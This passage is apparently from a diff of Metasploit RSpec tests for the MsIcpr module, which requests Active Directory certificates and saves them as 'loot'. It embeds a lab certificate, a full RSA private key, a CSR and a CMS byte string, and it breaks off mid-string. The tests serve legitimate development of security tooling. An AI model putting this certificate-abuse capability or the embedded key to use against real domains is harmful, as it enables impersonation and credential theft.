|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '#retrieve_cert' do
|
||||
let(:authenticated_client) { double('authenticated_client') }
|
||||
let(:target_ip) { '192.168.1.1' }
|
||||
let(:identity) { 'DOMAIN\\alice' }
|
||||
let(:template) { 'UserTemplate' }
|
||||
|
||||
before { subject.instance_variable_set(:@issued_certs, {}) }
|
||||
|
||||
context 'when generating the RSA key' do
|
||||
let(:csr_double) { double('csr', to_der: 'der_bytes') }
|
||||
let(:denied_res) { double('response', code: 200, body: 'request was denied') }
|
||||
|
||||
it 'uses the default key size of 2048 when RSAKeySize is blank' do
|
||||
allow(subject).to receive(:create_csr).and_return(csr_double)
|
||||
allow(subject).to receive(:send_request_raw).and_return(denied_res)
|
||||
expect(OpenSSL::PKey::RSA).to receive(:new).with(2048).and_call_original
|
||||
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
|
||||
end
|
||||
|
||||
it 'uses the RSAKeySize from the datastore when set' do
|
||||
subject.datastore['RSAKeySize'] = '4096'
|
||||
allow(subject).to receive(:create_csr).and_return(csr_double)
|
||||
allow(subject).to receive(:send_request_raw).and_return(denied_res)
|
||||
expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_call_original
|
||||
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
|
||||
end
|
||||
|
||||
it 'passes the generated key to create_csr' do
|
||||
generated_key = OpenSSL::PKey::RSA.new(2048)
|
||||
allow(OpenSSL::PKey::RSA).to receive(:new).and_return(generated_key)
|
||||
allow(subject).to receive(:send_request_raw).and_return(denied_res)
|
||||
expect(subject).to receive(:create_csr).with(hash_including(private_key: generated_key)).and_return(csr_double)
|
||||
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the cert has already been issued' do
|
||||
before { subject.add_cert_entry(identity, template) }
|
||||
|
||||
it 'returns nil without making an HTTP request' do
|
||||
expect(subject).not_to receive(:send_request_raw)
|
||||
expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the POST response is 200 with body containing "request was denied"' do
|
||||
let(:csr) { double('csr', to_der: 'der_bytes') }
|
||||
let(:res) { double('response', code: 200, body: 'Certificate request was denied by policy') }
|
||||
|
||||
before do
|
||||
allow(subject).to receive(:create_csr).and_return(csr)
|
||||
allow(subject).to receive(:send_request_raw).and_return(res)
|
||||
end
|
||||
|
||||
it 'returns nil' do
|
||||
expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the POST response is 200 with body containing "request failed"' do
|
||||
let(:csr) { double('csr', to_der: 'der_bytes') }
|
||||
let(:res) { double('response', code: 200, body: 'Certificate request failed due to an error') }
|
||||
|
||||
before do
|
||||
allow(subject).to receive(:create_csr).and_return(csr)
|
||||
allow(subject).to receive(:send_request_raw).and_return(res)
|
||||
end
|
||||
|
||||
it 'returns nil' do
|
||||
expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the POST response is 401 with body containing "invalid credentials"' do
|
||||
let(:csr) { double('csr', to_der: 'der_bytes') }
|
||||
let(:res) { double('response', code: 401, body: 'Error: invalid credentials provided') }
|
||||
|
||||
before do
|
||||
allow(subject).to receive(:create_csr).and_return(csr)
|
||||
allow(subject).to receive(:send_request_raw).and_return(res)
|
||||
end
|
||||
|
||||
it 'returns nil' do
|
||||
expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the POST response is successful but has no location tag' do
|
||||
let(:csr) { double('csr', to_der: 'der_bytes') }
|
||||
let(:res) { double('response', code: 200, body: 'Certificate generated successfully, no location here') }
|
||||
|
||||
before do
|
||||
allow(subject).to receive(:create_csr).and_return(csr)
|
||||
allow(subject).to receive(:send_request_raw).and_return(res)
|
||||
end
|
||||
|
||||
it 'returns nil' do
|
||||
expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil
|
||||
end
|
||||
|
||||
it 'adds the cert entry before discovering the missing location tag' do
|
||||
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
|
||||
expect(subject.cert_issued?(identity, template)).to be true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the POST succeeds with a location tag and GET returns a certificate' do
|
||||
let(:rsa_key) { OpenSSL::PKey::RSA.new(2048) }
|
||||
let(:certificate) do
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = 1
|
||||
cert.subject = OpenSSL::X509::Name.parse('/CN=alice')
|
||||
cert.issuer = cert.subject
|
||||
cert.public_key = rsa_key.public_key
|
||||
cert.not_before = Time.now - 3600
|
||||
cert.not_after = Time.now + 3600
|
||||
cert.sign(rsa_key, OpenSSL::Digest::SHA256.new)
|
||||
cert
|
||||
end
|
||||
let(:csr) { double('csr', to_der: 'der_bytes') }
|
||||
let(:post_body) { "Certificate generated\nlocation=\"/certsrv/certnew.cer?ReqID=1&Enc=b64\"" }
|
||||
let(:post_res) { double('response', code: 200, body: post_body) }
|
||||
let(:get_res) { double('response', code: 200, body: certificate.to_der) }
|
||||
|
||||
before do
|
||||
# Force retrieve_cert to use rsa_key so the generated key matches the certificate
|
||||
rsa_key
|
||||
allow(OpenSSL::PKey::RSA).to receive(:new).and_return(rsa_key)
|
||||
allow(subject).to receive(:create_csr).and_return(csr)
|
||||
allow(subject).to receive(:send_request_raw).and_return(post_res, get_res)
|
||||
allow(subject).to receive(:store_loot).and_return('/tmp/cert.pfx')
|
||||
end
|
||||
|
||||
it 'returns an OpenSSL::X509::Certificate' do
|
||||
result = subject.retrieve_cert(target_ip, authenticated_client, identity, template)
|
||||
expect(result).to be_a(OpenSSL::X509::Certificate)
|
||||
end
|
||||
|
||||
it 'records the issued cert entry' do
|
||||
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
|
||||
expect(subject.cert_issued?(identity, template)).to be true
|
||||
end
|
||||
|
||||
it 'stores the loot as a PKCS12 file' do
|
||||
expect(subject).to receive(:store_loot).with(
|
||||
'windows.ad.cs',
|
||||
'application/x-pkcs12',
|
||||
target_ip,
|
||||
anything,
|
||||
'certificate.pfx',
|
||||
"#{identity} Certificate"
|
||||
)
|
||||
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,368 +1,494 @@
|
||||
require 'rspec'
|
||||
require 'rex/proto/kerberos/model/pkinit'
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'spec_helper'
|
||||
require 'msf/core/exploit/remote/ms_icpr'
|
||||
|
||||
RSpec.describe Msf::Exploit::Remote::MsIcpr do
|
||||
include_context 'Msf::UIDriver'
|
||||
include_context 'Msf::Simple::Framework#modules loading'
|
||||
include_context 'Msf::Simple::Framework'
|
||||
|
||||
let(:subject) do
|
||||
mod = Msf::Exploit::Remote.allocate
|
||||
mod.extend described_class
|
||||
let(:rsa_key) { OpenSSL::PKey::RSA.new(2048) }
|
||||
|
||||
# Build a minimal self-signed certificate, optionally with pre-built extensions.
|
||||
def build_test_cert(key, extensions: [])
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = 1
|
||||
cert.subject = OpenSSL::X509::Name.parse('/CN=Test')
|
||||
cert.issuer = cert.subject
|
||||
cert.public_key = key.public_key
|
||||
cert.not_before = Time.now - 3600
|
||||
cert.not_after = Time.now + 3600
|
||||
extensions.each { |ext| cert.add_extension(ext) }
|
||||
cert.sign(key, OpenSSL::Digest::SHA256.new)
|
||||
cert
|
||||
end
|
||||
|
||||
# Build a subjectAltName extension from a plain SAN string (e.g. "DNS:host.example.com").
|
||||
def san_extension(san_string)
|
||||
stub = OpenSSL::X509::Certificate.new
|
||||
factory = OpenSSL::X509::ExtensionFactory.new
|
||||
factory.subject_certificate = stub
|
||||
factory.issuer_certificate = stub
|
||||
factory.create_extension('subjectAltName', san_string, false)
|
||||
end
|
||||
|
||||
# Build a subjectAltName extension from an OpenSSL config block, allowing otherName entries.
|
||||
def san_extension_from_config(config_string)
|
||||
config = OpenSSL::Config.parse(config_string)
|
||||
factory = OpenSSL::X509::ExtensionFactory.new
|
||||
factory.config = config
|
||||
factory.create_extension('subjectAltName', '@alt_names', false)
|
||||
end
|
||||
|
||||
subject do
|
||||
klass = Class.new(Msf::Exploit) do
|
||||
include Msf::Exploit::Remote::MsIcpr
|
||||
end
|
||||
mod = klass.new
|
||||
allow(mod).to receive(:vprint_status)
|
||||
allow(mod).to receive(:vprint_good)
|
||||
allow(mod).to receive(:vprint_error)
|
||||
allow(mod).to receive(:print_good)
|
||||
allow(mod).to receive(:print_status)
|
||||
allow(mod).to receive(:print_warning)
|
||||
allow(mod).to receive(:print_error)
|
||||
allow(mod).to receive(:elog)
|
||||
allow(mod).to receive(:framework).and_return(framework)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:pkcs12_certificate) do
|
||||
OpenSSL::X509::Certificate.new(<<~CERTIFICATE)
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF
|
||||
ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs
|
||||
YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx
|
||||
MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk
|
||||
ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs
|
||||
ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9
|
||||
j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg
|
||||
6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l
|
||||
l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD
|
||||
jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx
|
||||
idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4
|
||||
MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU
|
||||
uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk
|
||||
YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL
|
||||
ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z
|
||||
ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq
|
||||
ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv
|
||||
MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD
|
||||
Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
|
||||
cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
|
||||
ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw
|
||||
PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX
|
||||
hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG
|
||||
CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH
|
||||
AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud
|
||||
EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp
|
||||
ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB
|
||||
oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx
|
||||
MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC
|
||||
AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx
|
||||
2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp
|
||||
rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN
|
||||
3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL
|
||||
bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu
|
||||
bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ
|
||||
MPqLl/D4OpKpcKz8
|
||||
-----END CERTIFICATE-----
|
||||
CERTIFICATE
|
||||
end
|
||||
|
||||
let(:pkcs12_key) do
|
||||
OpenSSL::PKey::RSA.new(<<~KEY)
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN
|
||||
Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM
|
||||
MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI
|
||||
G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7
|
||||
3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6
|
||||
B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9
|
||||
OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX
|
||||
pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm
|
||||
/hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs
|
||||
5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx
|
||||
VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h
|
||||
SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94
|
||||
MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX
|
||||
xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5
|
||||
hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g
|
||||
m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ
|
||||
/NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt
|
||||
NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib
|
||||
KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M
|
||||
IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG
|
||||
2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe
|
||||
VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+
|
||||
syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8
|
||||
aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO
|
||||
C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
KEY
|
||||
end
|
||||
|
||||
let(:x509_csr) do
|
||||
OpenSSL::X509::Request.new(<<~REQUEST)
|
||||
-----BEGIN CERTIFICATE REQUEST-----
|
||||
MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB
|
||||
BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV
|
||||
kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT
|
||||
mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU
|
||||
DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT
|
||||
uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL
|
||||
BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3
|
||||
DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/
|
||||
gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S
|
||||
b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD
|
||||
abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a
|
||||
x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y
|
||||
i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg
|
||||
-----END CERTIFICATE REQUEST-----
|
||||
REQUEST
|
||||
end
|
||||
|
||||
let(:content_info) do
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(
|
||||
"\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \
|
||||
"\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \
|
||||
"\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \
|
||||
"\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \
|
||||
"\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \
|
||||
"\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \
|
||||
"\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \
|
||||
"\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \
|
||||
"\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b\x0f\xf8\x14\x55\x92\x3b\x3b\x4d" \
|
||||
"\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d\x2f\xfe\xbd\x63\x75\x51\x23\x65" \
|
||||
"\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d\x8f\x22\x52\x30\x22\xd9\x79\xb7" \
|
||||
"\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00\x29\x8c\x32\x93\x4f\xaf\x6f\xc2" \
|
||||
"\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c\xae\x6c\xa2\x16\x39\xf8\x23\x0c" \
|
||||
"\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b\x6e\x0d\x25\x97\x51\x8e\xeb\x0a" \
|
||||
"\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27\x47\x82\xf8\xab\x41\x36\x4d\xa7" \
|
||||
"\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60\x6e\xa9\xf5\x03\x87\xb2\xcb\xee" \
|
||||
"\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41\x77\x7e\x02\x13\xba\xa0\xb7\xfb" \
|
||||
"\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84\x22\xd8\x67\x5f\x90\x04\x33\xce" \
|
||||
"\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73\xce\x96\x3a\x2c\x41\xa8\x53\x73" \
|
||||
"\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \
|
||||
"\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \
|
||||
"\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \
|
||||
"\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \
|
||||
"\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \
|
||||
"\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \
|
||||
"\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \
|
||||
"\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \
|
||||
"\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \
|
||||
"\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \
|
||||
"\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \
|
||||
"\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \
|
||||
"\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \
|
||||
"\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \
|
||||
"\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \
|
||||
"\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \
|
||||
"\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \
|
||||
"\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \
|
||||
"\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \
|
||||
"\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \
|
||||
"\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \
|
||||
"\x31\x15\x30\x13\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05" \
|
||||
"\x6c\x6f\x63\x61\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c" \
|
||||
"\x64\x01\x19\x16\x06\x6d\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55" \
|
||||
"\x04\x03\x13\x0c\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x30\x1e" \
|
||||
"\x17\x0d\x32\x32\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x17\x0d\x32" \
|
||||
"\x33\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x30\x7b\x31\x15\x30\x13" \
|
||||
"\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61" \
|
||||
"\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16" \
|
||||
"\x06\x6d\x73\x66\x6c\x61\x62\x31\x0e\x30\x0c\x06\x03\x55\x04\x03\x13\x05" \
|
||||
"\x55\x73\x65\x72\x73\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x41\x6c" \
|
||||
"\x69\x63\x65\x20\x4c\x69\x64\x64\x6c\x65\x31\x23\x30\x21\x06\x09\x2a\x86" \
|
||||
"\x48\x86\xf7\x0d\x01\x09\x01\x16\x14\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d" \
|
||||
"\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x30\x82\x01\x22\x30\x0d\x06" \
|
||||
"\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30" \
|
||||
"\x82\x01\x0a\x02\x82\x01\x01\x00\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19" \
|
||||
"\x32\xe7\x80\xc2\xb4\xaa\xa7\x26\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b" \
|
||||
"\x0f\xf8\x14\x55\x92\x3b\x3b\x4d\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d" \
|
||||
"\x2f\xfe\xbd\x63\x75\x51\x23\x65\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d" \
|
||||
"\x8f\x22\x52\x30\x22\xd9\x79\xb7\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00" \
|
||||
"\x29\x8c\x32\x93\x4f\xaf\x6f\xc2\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c" \
|
||||
"\xae\x6c\xa2\x16\x39\xf8\x23\x0c\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b" \
|
||||
"\x6e\x0d\x25\x97\x51\x8e\xeb\x0a\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27" \
|
||||
"\x47\x82\xf8\xab\x41\x36\x4d\xa7\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60" \
|
||||
"\x6e\xa9\xf5\x03\x87\xb2\xcb\xee\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41" \
|
||||
"\x77\x7e\x02\x13\xba\xa0\xb7\xfb\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84" \
|
||||
"\x22\xd8\x67\x5f\x90\x04\x33\xce\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73" \
|
||||
"\xce\x96\x3a\x2c\x41\xa8\x53\x73\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26" \
|
||||
"\xe4\xfa\x07\x73\xa0\x43\x37\x2b\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66" \
|
||||
"\x93\xbb\x12\xea\x36\x7e\x20\x1e\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa3" \
|
||||
"\x82\x03\x78\x30\x82\x03\x74\x30\x1d\x06\x03\x55\x1d\x0e\x04\x16\x04\x14" \
|
||||
"\x73\x77\x4b\xc5\xe3\x2e\x39\xba\x18\xec\xc7\x2b\x69\xd9\x1c\xce\x9d\x3b" \
|
||||
